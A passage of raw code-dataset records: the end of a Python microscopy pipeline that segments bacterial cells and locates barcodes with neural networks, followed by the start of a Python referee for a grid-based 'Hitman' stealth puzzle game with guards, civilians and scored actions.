= regionprops(sliced_img)\n        props[str(i)] = {}\n        for cell_i, properties in enumerate(props_slice):\n            if (properties['area']) > min_area:\n                cell = {}\n                cell['area'] = int(properties['area'])\n                cell['cm'] = (float(properties['centroid'][0]), float(properties['centroid'][1]))\n                cell['bbox'] = properties['bbox']\n                cell['activity'] = 0\n                cell['mother'] = None\n                cell['index'] = None\n                cell['dob'] = 0\n                cell['initial_mother'] = 0\n                cell['growth'] = None\n                cell['state'] = None\n                props[str(i)][str(properties['label'])] = cell\n    return labelled_slices, props\n\ndef process_image(datapoint, model, param, visualize=True):\n    \"\"\"\n    Function to process one datapoint in the live analysis pipeline\n    Arguments:\n        datapoint: a dict with keys 'image', 'time', 'position',\n        model: an instance of live net model loaded on device\n        param: parameters used\n        visualize: To get full results for plotting, set visualize to True. Default\n                   is to chop up the image into slices and label each channel slice \n                   to avoid doing it in the tracking process.\n    \"\"\"\n    start_time = time.time()\n    try:\n        device = model.device\n        # transformations\n        if param.Analysis.Segmentation.transformations.before_type == 'UnetTestTransforms':\n            pre_segment_transforms = UnetTestTransforms() \n        if param.Analysis.Barcode.transformations.before_type == 'YoloLiveAugmentations':\n            pre_barcode_transforms = YoloLiveAugmentations()\n\n        raw_shape = datapoint['image'].shape\n        seg_sample = pre_segment_transforms({'phase': datapoint['image'].astype('float32'),\n                                            'raw_shape': raw_shape})\n        barcode_sample = pre_barcode_transforms({'phase': datapoint['image']})\n\n        #print(barcode_sample)\n        # inference\n        with torch.no_grad():\n            seg_pred = model.segment_model(seg_sample['phase'].unsqueeze(0).to(device)).sigmoid().cpu().numpy().squeeze(0)\n            barcode_pred = model.barcode_model(barcode_sample['phase'].unsqueeze(0).to(device))\n            bboxes  = outputs_to_bboxes(barcode_pred, model.anchors_t, model.strides_t)\n            bboxes_cleaned = non_max_suppression(bboxes, conf_thres = param.Analysis.Barcode.thresholds.conf,\n                                                    iou_thres = param.Analysis.Barcode.thresholds.iou)\n            bboxes_barcode = [bbox.numpy() for bbox in bboxes_cleaned][0] # only one class so we should get this at index 0\n\n        # untransformations barcodes to original shape\n        sys.stdout.write(f\"After Pos: {datapoint['position']} time: {datapoint['time']} , segmentation shape: {seg_pred.shape} -- barcodes_shape: {bboxes_barcode.shape}\\n\")\n        sys.stdout.flush()\n\n        yolo_img_size = tuple(param.Analysis.Barcode.img_size)\n\n        # cleaning up bbox predictions that are outside the size of the image\n        # can happen as the net projects outward if the barcodes are at the edge\n        # of the image\n        for bbox in bboxes_barcode:\n            if bbox[0] < 0.0:\n                bbox[0] = 0.0\n            if bbox[2] > yolo_img_size[1]:\n                bbox[2] = yolo_img_size[1]\n            if bbox[1] < 0.0:\n                bbox[1] = 0.0\n            if bbox[3] > yolo_img_size[0]:\n                bbox[3] = yolo_img_size[0]\n\n        yolo_datapoint = {\n            'yolo_size': yolo_img_size,\n            'bboxes': bboxes_barcode\n        }\n        post_barcode_transformations = YoloLiveUnAugmentations(\n            parameters = {'resize': {\n                'height': raw_shape[0],\n                'width': raw_shape[1],\n                'always_apply': True\n                }\n            }\n        )\n        bboxes_final = post_barcode_transformations(yolo_datapoint)\n        bboxes_final = sorted(bboxes_final, key=lambda x: x[0]) # sort according to top left corner in x axis\n        #print(bboxes_final)\n        #return None\n        #channel_locations, error = get_locations_btn_barcodes(seg_pred[1], bboxes_final, param, raw_shape)\n        channel_locations, error = get_channel_locations(seg_pred[1], bboxes_final, param, raw_shape)\n        total_channels = 0\n        list_channel_locations = []\n        for block in channel_locations:\n            n_channels = channel_locations[block]['num_channels']\n            if n_channels > 10:\n                total_channels += channel_locations[block]['num_channels']\n                list_channel_locations.extend(channel_locations[block]['channel_locations'].tolist())\n\n\n        cell_prob = param.Analysis.Segmentation.thresholds.cells.probability\n\n        if visualize:\n\n            duration = 1000 * (time.time() - start_time)\n            sys.stdout.write(f\"Seg Pos: {datapoint['position']} time: {datapoint['time']} , no ch: {total_channels}, duration: {duration:0.4f}ms ...\\n\")\n            sys.stdout.flush()\n            return { \n                #'phase': datapoint['image'].astype(),\n                'phase': datapoint['image'].astype('uint16'),\n                'position': datapoint['position'],\n                'time': datapoint['time'],\n                #'cells': seg_pred[0][:raw_shape[0], :raw_shape[1]],\n                'cells': (seg_pred[0][:raw_shape[0], :raw_shape[1]] > cell_prob),\n                'channels': seg_pred[1][:raw_shape[0], :raw_shape[1]],\n                #'channels': None,\n                'barcode_locations': bboxes_final,\n                'channel_locations': channel_locations,\n                'channel_locations_list': list_channel_locations,\n                'raw_shape': seg_sample['raw_shape'],\n                'total_channels': total_channels,\n                'error': error # if error is true we are going to skip the position\n            }# segmented cells, segmented channels, barcode locations, channel locations\n        else:\n            # Here we do a chopped up labelled version of each channel slice to avoid \n            # doing it in the tracking pipeline\n            cells_binary = seg_pred[0][:raw_shape[0], :raw_shape[1]] > cell_prob\n            labelled_slices, channel_props = cut_channels_and_props(cells_binary, raw_shape, list_channel_locations, param.Save.channel_width)\n\n            duration = 1000 * (time.time() - start_time)\n            sys.stdout.write(f\"Seg Pos: {datapoint['position']} time: {datapoint['time']} , no ch: {total_channels}, duration: {duration:0.4f}ms ...\\n\")\n            sys.stdout.flush()\n \n            return {\n                'position': datapoint['position'],\n                'time': datapoint['time'],\n                'labelled_slices': labelled_slices,\n                'props': channel_props, \n                'barcode_locations': bboxes_final,\n                'total_channels': total_channels,\n                'channel_locations_list': list_channel_locations,\n                'raw_shape' : raw_shape,\n                'error': error\n            }\n    except Exception as e:\n        sys.stdout.write(f\"Error {e} in process image function at position: {datapoint['position']} - time: {datapoint['time']}\\n\")\n        sys.stdout.flush()\n        return {\n            'phase': datapoint['image'],\n            'position': datapoint['position'],\n            'time': datapoint['time'],\n            'total_channels': -1,\n            'error': True\n        }\n", "repo_name": "karempudi/sting", "sub_path": "sting/mm/detect.py", "file_name": "detect.py", "file_ext": "py", "file_size_in_byte": 15484, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "71", "api": [{"api_name": "sting.utils.types.RecursiveNamespace", "line_number": 15, "usage_type": "name"}, {"api_name": "sting.mm.networks.LiveNet", "line_number": 27, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 49, "usage_type": "call"}, {"api_name": "numpy.diff", "line_number": 50, "usage_type": "call"}, {"api_name": "numpy.logical_and", "line_number": 51, "usage_type": "call"}, {"api_name": "numpy.all", "line_number": 53, "usage_type": "call"}, {"api_name": "numpy.where", "line_number": 56, "usage_type": "call"}, {"api_name": "numpy.concatenate", "line_number": 61, "usage_type": "call"}, {"api_name": "numpy.arange", "line_number": 61, "usage_type": "call"}, {"api_name": "numpy.arange", "line_number": 62, "usage_type": "call"}, {"api_name": "numpy.sum", "line_number": 74, "usage_type": "call"}, {"api_name": "scipy.signal.find_peaks", "line_number": 75, "usage_type": "call"}, {"api_name": "scipy.signal.peak_prominences", "line_number": 76, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 82, "usage_type": "call"}, {"api_name": "numpy.logical_and", "line_number": 88, "usage_type": "call"}, {"api_name": "numpy.sum", "line_number": 89, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 98, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 99, "usage_type": "call"}, {"api_name": "numpy.diff", "line_number": 100, "usage_type": "call"}, {"api_name": "numpy.logical_and", "line_number": 101, "usage_type": "call"}, {"api_name": "numpy.all", "line_number": 105, "usage_type": "call"}, {"api_name": "numpy.where", "line_number": 108, "usage_type": "call"}, {"api_name": "numpy.concatenate", "line_number": 122, "usage_type": "call"}, {"api_name": "numpy.sort", "line_number": 122, "usage_type": "call"}, {"api_name": "numpy.arange", "line_number": 122, "usage_type": "call"}, {"api_name": "numpy.sort", "line_number": 124, "usage_type": "call"}, {"api_name": "numpy.arange", "line_number": 124, "usage_type": "call"}, {"api_name": "numpy.sum", "line_number": 127, "usage_type": "call"}, {"api_name": "scipy.signal.find_peaks", "line_number": 130, "usage_type": "call"}, {"api_name": "numpy.logical_and", "line_number": 145, "usage_type": "call"}, {"api_name": "numpy.sum", "line_number": 146, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 163, "usage_type": "call"}, {"api_name": "skimage.measure.label", "line_number": 166, "usage_type": "call"}, {"api_name": "skimage.measure.regionprops", "line_number": 168, "usage_type": "call"}, {"api_name": "time.time", "line_number": 197, "usage_type": "call"}, {"api_name": "sting.segmentation.transforms.UnetTestTransforms", "line_number": 202, "usage_type": "call"}, {"api_name": "sting.mm.utils.YoloLiveAugmentations", "line_number": 204, "usage_type": "call"}, {"api_name": "torch.no_grad", "line_number": 213, "usage_type": "call"}, {"api_name": "sting.regiondetect.utils.outputs_to_bboxes", "line_number": 216, "usage_type": "call"}, {"api_name": "sting.regiondetect.utils.non_max_suppression", "line_number": 217, "usage_type": "call"}, {"api_name": "sys.stdout.write", "line_number": 222, "usage_type": "call"}, {"api_name": "sys.stdout", "line_number": 222, "usage_type": "attribute"}, {"api_name": "sys.stdout.flush", "line_number": 223, "usage_type": "call"}, {"api_name": "sys.stdout", "line_number": 223, "usage_type": "attribute"}, {"api_name": "sting.mm.utils.YoloLiveUnAugmentations", "line_number": 244, "usage_type": "call"}, {"api_name": "time.time", "line_number": 271, "usage_type": "call"}, {"api_name": "sys.stdout.write", "line_number": 272, "usage_type": "call"}, {"api_name": "sys.stdout", "line_number": 272, "usage_type": "attribute"}, {"api_name": "sys.stdout.flush", "line_number": 273, "usage_type": "call"}, {"api_name": "sys.stdout", "line_number": 273, "usage_type": "attribute"}, {"api_name": "time.time", "line_number": 296, "usage_type": "call"}, {"api_name": "sys.stdout.write", "line_number": 297, "usage_type": "call"}, {"api_name": "sys.stdout", "line_number": 297, "usage_type": "attribute"}, {"api_name": "sys.stdout.flush", "line_number": 298, "usage_type": "call"}, {"api_name": "sys.stdout", "line_number": 298, "usage_type": "attribute"}, {"api_name": "sys.stdout.write", "line_number": 312, "usage_type": "call"}, {"api_name": "sys.stdout", "line_number": 312, "usage_type": "attribute"}, {"api_name": "sys.stdout.flush", "line_number": 313, "usage_type": "call"}, {"api_name": "sys.stdout", "line_number": 313, "usage_type": "attribute"}]}
{"seq_id": "36538793815", "text": "from enum import Enum\r\nfrom itertools import product\r\nfrom typing import List, Tuple, Dict\r\nimport sys\r\nimport copy\r\nimport time\r\n\r\nclass HC(Enum):\r\n    EMPTY = 1\r\n    WALL = 2\r\n    GUARD_N = 3\r\n    GUARD_E = 4\r\n    GUARD_S = 5\r\n    GUARD_W = 6\r\n    CIVIL_N = 7\r\n    CIVIL_E = 8\r\n    CIVIL_S = 9\r\n    CIVIL_W = 10\r\n    TARGET = 11\r\n    SUIT = 12\r\n    PIANO_WIRE = 13\r\n    N = 14\r\n    E = 15\r\n    S = 16\r\n    W = 17\r\n\r\n\r\ntest_case_0 = [\r\n    [HC.PIANO_WIRE,HC.EMPTY,HC.TARGET],\r\n]\r\ntest_case_1 = [\r\n    [HC.EMPTY, HC.EMPTY, HC.SUIT],\r\n    [HC.PIANO_WIRE, HC.TARGET,HC.EMPTY],\r\n    [HC.EMPTY, HC.CIVIL_W, HC.EMPTY]\r\n]\r\n\r\ntest_case_5 = [\r\n    [HC.EMPTY, HC.EMPTY, HC.PIANO_WIRE, HC.SUIT],\r\n    [HC.EMPTY, HC.WALL, HC.CIVIL_N, HC.EMPTY],\r\n    [HC.TARGET, HC.WALL, HC.EMPTY, HC.EMPTY],\r\n    [HC.CIVIL_E, HC.CIVIL_W, HC.EMPTY, HC.GUARD_E],\r\n]\r\n\r\nworld_example = [\r\n    [HC.EMPTY, HC.EMPTY, HC.EMPTY, HC.SUIT, HC.GUARD_S, HC.WALL, HC.WALL],\r\n    [HC.EMPTY, HC.WALL, HC.EMPTY, HC.EMPTY, HC.EMPTY, HC.EMPTY, HC.EMPTY],\r\n    [HC.TARGET, HC.WALL, HC.EMPTY, HC.EMPTY, HC.EMPTY, HC.CIVIL_N, HC.EMPTY],\r\n    [HC.WALL, HC.WALL, HC.EMPTY, HC.GUARD_E, HC.EMPTY, HC.CIVIL_E, HC.CIVIL_W],\r\n    [HC.EMPTY, HC.EMPTY, HC.EMPTY, HC.EMPTY, HC.EMPTY, HC.EMPTY, HC.EMPTY],\r\n    [HC.EMPTY, HC.EMPTY, HC.WALL, HC.WALL, HC.EMPTY, HC.PIANO_WIRE, HC.EMPTY],\r\n]\r\n\r\n\r\nclass HitmanReferee:\r\n    def __init__(self, filename: str = \"\"):\r\n        self.__filename = filename\r\n        if filename == \"\":\r\n            self.__world = world_example\r\n            self.__m = len(self.__world)\r\n            self.__n = len(self.__world[0])\r\n        else:\r\n            raise NotImplementedError(\"TODO\")\r\n\r\n        self.__civil_count = self.__compute_civil_count()\r\n        self.__guard_count = self.__compute_guard_count()\r\n        self.__civils = self.__compute_civils()\r\n        self.__guards = self.__compute_guards()\r\n        self.__phase = 0\r\n        self.__phase1_penalties = 0\r\n        self.__phase1_guess_score = 0\r\n        self.__phase2_penalties = 0\r\n        self.__pos = (0, 0)\r\n        self.__orientation = HC.N\r\n        self.__has_guessed = False\r\n        self.__is_in_guard_range = False\r\n        self.__is_in_civil_range = False\r\n        self.__phase1_history: List[str] = []\r\n        self.__phase2_history: List[str] = []\r\n        self.__has_suit = False\r\n        self.__suit_on = False\r\n        self.__has_weapon = False\r\n        self.__is_target_down = False\r\n\r\n    def start_phase1(self):\r\n        self.__phase = 1\r\n        return self.__get_status_phase_1()\r\n\r\n    def __get_status_phase_1(self, err: str = \"OK\"):\r\n        return {\r\n            \"status\": err,\r\n            \"phase\": self.__phase,\r\n            \"guard_count\": self.__guard_count,\r\n            \"civil_count\": self.__civil_count,\r\n            \"m\": self.__m,\r\n            \"n\": self.__n,\r\n            \"position\": self.__pos,\r\n            \"orientation\": self.__orientation,\r\n            \"vision\": self.__get_vision(),\r\n            \"hear\": self.__get_listening(),\r\n            \"penalties\": self.__phase1_penalties,\r\n            \"is_in_guard_range\": self.__is_in_guard_range,\r\n        }\r\n\r\n    def send_content(self, map_info: Dict[Tuple[int, int], HC]) -> bool:\r\n        if not self.__has_guessed:\r\n            self.__has_guessed = True\r\n            guess_is_right = True\r\n            for (x, y), content in map_info.items():\r\n                if (\r\n                    x >= self.__n\r\n                    or y >= self.__m\r\n                    or x < 0\r\n                    or y < 0\r\n                    or content != self.__get_world_content(x, y)\r\n                ):\r\n                    guess_is_right = False\r\n                else:\r\n                    self.__phase1_guess_score += 2\r\n            all_tiles = list(product(range(self.__n), range(self.__m)))\r\n            unobserved_tiles = [\r\n                (x, y) for (x, y) in all_tiles if (x, y) not in map_info.keys()\r\n            ]\r\n            return len(unobserved_tiles) == 0 and guess_is_right\r\n        else:\r\n            raise ValueError(\"Err: cand only send content once\")\r\n\r\n    def end_phase1(self) -> Tuple[bool, str, List, Dict]:\r\n        if not self.__has_guessed:\r\n            return False, \"Err: Cannot end phase1 without guessing the map\", [], {}\r\n        self.__phase = 0\r\n        all_tiles = list(product(range(self.__n), range(self.__m)))\r\n        map_content = {(x, y): self.__get_world_content(x, y) for (x, y) in all_tiles}\r\n        return (\r\n            True,\r\n            f\"Your score is {self.__phase1_guess_score-self.__phase1_penalties}\",\r\n            self.__phase1_history,\r\n            map_content,\r\n        )\r\n\r\n    def __get_world_content(self, x: int, y: int):\r\n        if x >= self.__n or y >= self.__m or x < 0 or y < 0:\r\n            return f\"//error, out of bounds , x: {x}, y: {y}\"\r\n        return self.__world[self.__m - y - 1][x]\r\n\r\n\r\n    def __update_world_content(self, x: int, y: int, new_content: HC):\r\n        self.__world[self.__m - y - 1][x] = new_content\r\n        self.__civils = self.__compute_civils()\r\n        self.__guards = self.__compute_guards()\r\n    def __get_listening(self, dist=2):\r\n        count = 0\r\n        possible_offset = range(-dist, dist + 1)\r\n        offsets = product(possible_offset, repeat=2)\r\n        x, y = self.__pos\r\n        for i, j in offsets:\r\n            pos_x, pos_y = x + i, y + j\r\n            if pos_x >= self.__n or pos_y >= self.__m or pos_x < 0 or pos_y < 0:\r\n                continue\r\n            if self.__get_world_content(pos_x, pos_y) in [\r\n                HC.CIVIL_N,\r\n                HC.CIVIL_E,\r\n                HC.CIVIL_S,\r\n                HC.CIVIL_W,\r\n                HC.GUARD_N,\r\n                HC.GUARD_E,\r\n                HC.GUARD_S,\r\n                HC.GUARD_W,\r\n            ]:\r\n                count += 1\r\n            if count == 5:\r\n                break\r\n\r\n        return count\r\n    def __get_offset(self):\r\n        if self.__orientation == HC.N:\r\n            offset = 0, 1\r\n        elif self.__orientation == HC.E:\r\n            offset = 1, 0\r\n        elif self.__orientation == HC.S:\r\n            offset = 0, -1\r\n        elif self.__orientation == HC.W:\r\n            offset = -1, 0\r\n\r\n        return offset\r\n\r\n    def __get_vision(self, dist=3):\r\n        offset_x, offset_y = self.__get_offset()\r\n        pos = self.__pos\r\n        x, y = pos\r\n        vision = []\r\n        for _ in range(0, dist):\r\n            pos = x + offset_x, y + offset_y\r\n            x, y = pos\r\n            if x >= self.__n or y >= self.__m or x < 0 or y < 0:\r\n                break\r\n            vision.append((pos, self.__get_world_content(x, y)))\r\n            if vision[-1][1] != HC.EMPTY:\r\n                break\r\n        return vision\r\n\r\n    def move(self):\r\n        offset_x, offset_y = self.__get_offset()\r\n        x, y = self.__pos\r\n\r\n        if self.__phase == 1:\r\n            self.__phase1_penalties += 1\r\n        elif self.__phase == 2:\r\n            self.__phase2_penalties += 1\r\n        else:\r\n            raise ValueError(\"Err: invalid phase\")\r\n\r\n        self.__add_history(\"Move\")\r\n\r\n        if (\r\n            not (0 <= x + offset_x < self.__n)\r\n            or not (0 <= y + offset_y < self.__m)\r\n            or self.__get_world_content(x + offset_x, y + offset_y)\r\n            not in [\r\n                HC.EMPTY,\r\n                HC.PIANO_WIRE,\r\n                HC.CIVIL_N,\r\n                HC.CIVIL_E,\r\n                HC.CIVIL_S,\r\n                HC.CIVIL_W,\r\n                HC.SUIT,\r\n                HC.TARGET,\r\n            ]\r\n        ):\r\n            if self.__phase == 1:\r\n                self.__phase1_penalties += 5 * self.__seen_by_guard_num()\r\n                return self.__get_status_phase_1(\"Err: invalid move\")\r\n            else:\r\n                self.__phase2_penalties += (\r\n                    0 if self.__suit_on else 5 * self.__seen_by_guard_num()\r\n                )\r\n                return self.__get_status_phase_2(\"Err: invalid move\")\r\n\r\n        self.__pos = x + offset_x, y + offset_y\r\n\r\n        if self.__phase == 1:\r\n            self.__phase1_penalties += 5 * self.__seen_by_guard_num()\r\n            return self.__get_status_phase_1()\r\n        else:\r\n            self.__seen_by_civil_num()\r\n            self.__phase2_penalties += (\r\n                0 if self.__suit_on else 5 * self.__seen_by_guard_num()\r\n            )\r\n            return self.__get_status_phase_2()\r\n\r\n    def turn_clockwise(self):\r\n        if self.__phase == 1:\r\n            self.__phase1_penalties += 1\r\n            self.__phase1_penalties += 5 * self.__seen_by_guard_num()\r\n        elif self.__phase == 2:\r\n            self.__phase2_penalties += 1\r\n            self.__phase2_penalties += (\r\n                0 if self.__suit_on else 5 * self.__seen_by_guard_num()\r\n            )\r\n        else:\r\n            raise ValueError(\"Err: invalid phase\")\r\n\r\n        self.__add_history(\"Turn Clockwise\")\r\n\r\n        if self.__orientation == HC.N:\r\n            self.__orientation = HC.E\r\n        elif self.__orientation == HC.E:\r\n            self.__orientation = HC.S\r\n        elif self.__orientation == HC.S:\r\n            self.__orientation = HC.W\r\n        elif self.__orientation == HC.W:\r\n            self.__orientation = HC.N\r\n\r\n        return (\r\n            self.__get_status_phase_1()\r\n            if self.__phase == 1\r\n            else self.__get_status_phase_2()\r\n        )\r\n\r\n    def turn_anti_clockwise(self):\r\n        if self.__phase == 1:\r\n            self.__phase1_penalties += 1\r\n            self.__phase1_penalties += 5 * self.__seen_by_guard_num()\r\n        elif self.__phase == 2:\r\n            self.__phase2_penalties += 1\r\n            self.__phase2_penalties += (\r\n                0 if self.__suit_on else 5 * self.__seen_by_guard_num()\r\n            )\r\n        else:\r\n            raise ValueError(\"Err: invalid phase\")\r\n\r\n        self.__add_history(\"Turn Anti-Clockwise\")\r\n\r\n        if self.__orientation == HC.N:\r\n            self.__orientation = HC.W\r\n        elif self.__orientation == HC.E:\r\n            self.__orientation = HC.N\r\n        elif self.__orientation == HC.S:\r\n            self.__orientation = HC.E\r\n        elif self.__orientation == HC.W:\r\n            self.__orientation = HC.S\r\n        return (\r\n            self.__get_status_phase_1()\r\n            if self.__phase == 1\r\n            else self.__get_status_phase_2()\r\n        )\r\n\r\n    def start_phase2(self):\r\n        self.__phase = 2\r\n        self.__pos = (0, 0)\r\n        self.__orientation = HC.N\r\n        self.__seen_by_guard_num()\r\n        self.__seen_by_civil_num()\r\n        return self.__get_status_phase_2()\r\n\r\n    def __get_status_phase_2(self, err: str = \"OK\"):\r\n        return {\r\n            \"status\": err,\r\n            \"phase\": self.__phase,\r\n            \"guard_count\": self.__guard_count,\r\n            \"civil_count\": self.__civil_count,\r\n            \"m\": self.__m,\r\n            \"n\": self.__n,\r\n            \"position\": self.__pos,\r\n            \"orientation\": self.__orientation,\r\n            \"vision\": self.__get_vision(),\r\n            \"hear\": self.__get_listening(),\r\n            \"penalties\": self.__phase2_penalties,\r\n            \"is_in_guard_range\": self.__is_in_guard_range,\r\n            \"is_in_civil_range\": self.__is_in_civil_range,\r\n            \"has_suit\": self.__has_suit,\r\n            \"is_suit_on\": self.__suit_on,\r\n            \"has_weapon\": self.__has_weapon,\r\n            \"is_target_down\": self.__is_target_down,\r\n        }\r\n\r\n    def end_phase2(self):\r\n        if not self.__is_target_down or not self.__pos == (0, 0):\r\n            return False, \"Err: finish the mission and go back to (0,0)\", []\r\n        self.__phase = 0\r\n        return True, f\"Your score is {- self.__phase2_penalties}\", self.__phase2_history\r\n\r\n    def kill_target(self):\r\n        if self.__phase != 2:\r\n            raise ValueError(\"Err: invalid phase\")\r\n\r\n        self.__add_history(\"Kill Target\")\r\n        self.__phase2_penalties += 1\r\n        self.__phase2_penalties += (\r\n            0 if self.__suit_on else 5 * self.__seen_by_guard_num()\r\n        )\r\n        x, y = self.__pos\r\n        if self.__get_world_content(x, y) != HC.TARGET or not self.__has_weapon:\r\n            return self.__get_status_phase_2(\"Err: invalid move\")\r\n\r\n        self.__update_world_content(x, y, HC.EMPTY)\r\n        self.__is_target_down = True\r\n\r\n        self.__phase2_penalties += 100 * (\r\n            self.__seen_by_guard_num() + self.__seen_by_civil_num()\r\n        )\r\n        return self.__get_status_phase_2()\r\n\r\n    def neutralize_guard(self):\r\n        if self.__phase != 2:\r\n            raise ValueError(\"Err: invalid phase\")\r\n\r\n        self.__add_history(\"Neutralize Guard\")\r\n        self.__phase2_penalties += 1\r\n        self.__phase2_penalties += 5 * self.__seen_by_guard_num()\r\n\r\n        offset_x, offset_y = self.__get_offset()\r\n        x, y = self.__pos\r\n        if self.__get_world_content(x + offset_x, y + offset_y) not in [\r\n            HC.GUARD_N,\r\n            HC.GUARD_E,\r\n            HC.GUARD_S,\r\n            HC.GUARD_W,\r\n        ] or (x, y) in [\r\n            pos for (pos, _) in self.__guards[(x + offset_x, y + offset_y)]\r\n        ]:\r\n            return self.__get_status_phase_2(\"Err: invalid move\")\r\n        self.__phase2_penalties += 20\r\n        self.__update_world_content(x + offset_x, y + offset_y, HC.EMPTY)\r\n        self.__guard_count -= 1\r\n        self.__phase2_penalties += 100 * (\r\n            self.__seen_by_guard_num() + self.__seen_by_civil_num()\r\n        )\r\n\r\n        return self.__get_status_phase_2()\r\n\r\n    def neutralize_civil(self):\r\n        if self.__phase != 2:\r\n            raise ValueError(\"Err: invalid phase\")\r\n\r\n        self.__add_history(\"Neutralize Civil\")\r\n        self.__phase2_penalties += 1\r\n        self.__phase2_penalties += 5 * self.__seen_by_guard_num()\r\n\r\n        offset_x, offset_y = self.__get_offset()\r\n        x, y = self.__pos\r\n        if self.__get_world_content(x + offset_x, y + offset_y) not in [\r\n            HC.CIVIL_N,\r\n            HC.CIVIL_E,\r\n            HC.CIVIL_S,\r\n            HC.CIVIL_W,\r\n        ] or (x, y) in [\r\n            pos for (pos, _) in self.__civils[(x + offset_x, y + offset_y)]\r\n        ]:\r\n            return self.__get_status_phase_2(\"Err: invalid move\")\r\n\r\n        self.__phase2_penalties += 20\r\n        self.__update_world_content(x + offset_x, y + offset_y, HC.EMPTY)\r\n        self.__civil_count -= 1\r\n        self.__phase2_penalties += 100 * (\r\n            self.__seen_by_guard_num() + self.__seen_by_civil_num()\r\n        )\r\n\r\n        return self.__get_status_phase_2()\r\n\r\n    def take_suit(self):\r\n        if self.__phase != 2:\r\n            raise ValueError(\"Err: invalid phase\")\r\n\r\n        self.__add_history(\"Take Suit\")\r\n        self.__phase2_penalties += 1\r\n        self.__phase2_penalties += 5 * self.__seen_by_guard_num()\r\n\r\n        x, y = self.__pos\r\n        if self.__get_world_content(x, y) != HC.SUIT:\r\n            return self.__get_status_phase_2(\"Err: invalid move\")\r\n\r\n        self.__has_suit = True\r\n        self.__update_world_content(x, y, HC.EMPTY)\r\n\r\n        return self.__get_status_phase_2()\r\n\r\n    def take_weapon(self):\r\n        if self.__phase != 2:\r\n            raise ValueError(\"Err: invalid phase\")\r\n\r\n        self.__add_history(\"Take Weapon\")\r\n        self.__phase2_penalties += 1\r\n        self.__phase2_penalties += 5 * self.__seen_by_guard_num()\r\n        x, y = self.__pos\r\n        if self.__get_world_content(x, y) != HC.PIANO_WIRE:\r\n            return self.__get_status_phase_2(\"Err: invalid move\")\r\n\r\n        self.__has_weapon = True\r\n        self.__update_world_content(x, y, HC.EMPTY)\r\n\r\n        return self.__get_status_phase_2()\r\n\r\n    def put_on_suit(self):\r\n        if self.__phase != 2:\r\n            raise ValueError(\"Err: invalid phase\")\r\n\r\n        self.__add_history(\"Put on Suit\")\r\n        self.__phase2_penalties += 1\r\n        self.__phase2_penalties += 5 * self.__seen_by_guard_num()\r\n\r\n        if not self.__has_suit:\r\n            return self.__get_status_phase_2(\"Err: invalid move\")\r\n\r\n        self.__suit_on = True\r\n        self.__phase2_penalties += 100 * (\r\n            self.__seen_by_guard_num() + self.__seen_by_civil_num()\r\n        )\r\n        return self.__get_status_phase_2()\r\n\r\n    def __repr__(self) -> str:\r\n        return f\"HitmanReferee({self.__filename})\"\r\n\r\n    def __str__(self) -> str:\r\n        return ASCII_ART\r\n\r\n    def __compute_civil_count(self) -> int:\r\n        count = 0\r\n        for l in self.__world:\r\n            for c in l:\r\n                if (\r\n                    c == HC.CIVIL_N\r\n                    or c == HC.CIVIL_E\r\n                    or c == HC.CIVIL_S\r\n                    or c == HC.CIVIL_W\r\n                ):\r\n                    count += 1\r\n        return count\r\n\r\n    def __compute_guard_count(self) -> int:\r\n        count = 0\r\n        for l in self.__world:\r\n            for c in l:\r\n                if (\r\n                    c == HC.GUARD_N\r\n                    or c == HC.GUARD_E\r\n                    or c == HC.GUARD_S\r\n                    or c == HC.GUARD_W\r\n                ):\r\n                    count += 1\r\n        return count\r\n\r\n    def __compute_civils(\r\n        self,\r\n    ) -> Dict[Tuple[int, int], List[Tuple[Tuple[int, int], HC]]]:\r\n        locations = {}\r\n        for l_index, l in enumerate(self.__world):\r\n            for c_index, c in enumerate(l):\r\n                if (\r\n                    c == HC.CIVIL_N\r\n                    or c == HC.CIVIL_E\r\n                    or c == HC.CIVIL_S\r\n                    or c == HC.CIVIL_W\r\n                ):\r\n                    civil_x, civil_y = (c_index, self.__m - l_index - 1)\r\n                    locations[(civil_x, civil_y)] = self.__get_civil_vision(\r\n                        civil_x, civil_y\r\n                    )\r\n        return locations\r\n\r\n    def __get_civil_offset(self, civil):\r\n        if civil == HC.CIVIL_N:\r\n            offset = 0, 1\r\n        elif civil == HC.CIVIL_E:\r\n            offset = 1, 0\r\n        elif civil == HC.CIVIL_S:\r\n            offset = 0, -1\r\n        elif civil == HC.CIVIL_W:\r\n            offset = -1, 0\r\n\r\n        return offset\r\n\r\n    def __get_civil_vision(self, civil_x, civil_y):\r\n        civil = self.__get_world_content(civil_x, civil_y)\r\n        offset_x, offset_y = self.__get_civil_offset(civil)\r\n        pos = (civil_x, civil_y)\r\n        x, y = pos\r\n        vision = [(pos, self.__get_world_content(x, y))]\r\n\r\n        pos = x + offset_x, y + offset_y\r\n        x, y = pos\r\n        if self.__n > x >= 0 and self.__m > y >= 0:\r\n            vision.append((pos, self.__get_world_content(x, y)))\r\n        return vision\r\n\r\n    def __seen_by_civil_num(self) -> int:\r\n        count = 0\r\n        x, y = self.__pos\r\n        if self.__get_world_content(x, y) in [\r\n            HC.CIVIL_N,\r\n            HC.CIVIL_E,\r\n            HC.CIVIL_S,\r\n            HC.CIVIL_W,\r\n        ]:\r\n            count = 1\r\n            self.__is_in_civil_range = True\r\n            return count\r\n\r\n        for civil in self.__civils.keys():\r\n            civil_x, civil_y = civil\r\n            if civil_x == x and civil_y == y:\r\n                count += 1\r\n            else:\r\n                count += (\r\n                    1\r\n                    if len(\r\n                        [0 for ((l, c), _) in self.__civils[civil] if l == x and c == y]\r\n                    )\r\n                    > 0\r\n                    else 0\r\n                )\r\n        self.__is_in_civil_range = count > 0\r\n        return count\r\n\r\n    def __compute_guards(\r\n        self,\r\n    ) -> Dict[Tuple[int, int], List[Tuple[Tuple[int, int], HC]]]:\r\n        locations = {}\r\n        for l_index, l in enumerate(self.__world):\r\n            for c_index, c in enumerate(l):\r\n                if (\r\n                    c == HC.GUARD_N\r\n                    or c == HC.GUARD_E\r\n                    or c == HC.GUARD_S\r\n                    or c == HC.GUARD_W\r\n                ):\r\n                    guard_x, guard_y = (c_index, self.__m - l_index - 1)\r\n                    locations[(guard_x, guard_y)] = self.__get_guard_vision(\r\n                        guard_x, guard_y\r\n                    )\r\n        return locations\r\n\r\n    def __get_guard_offset(self, 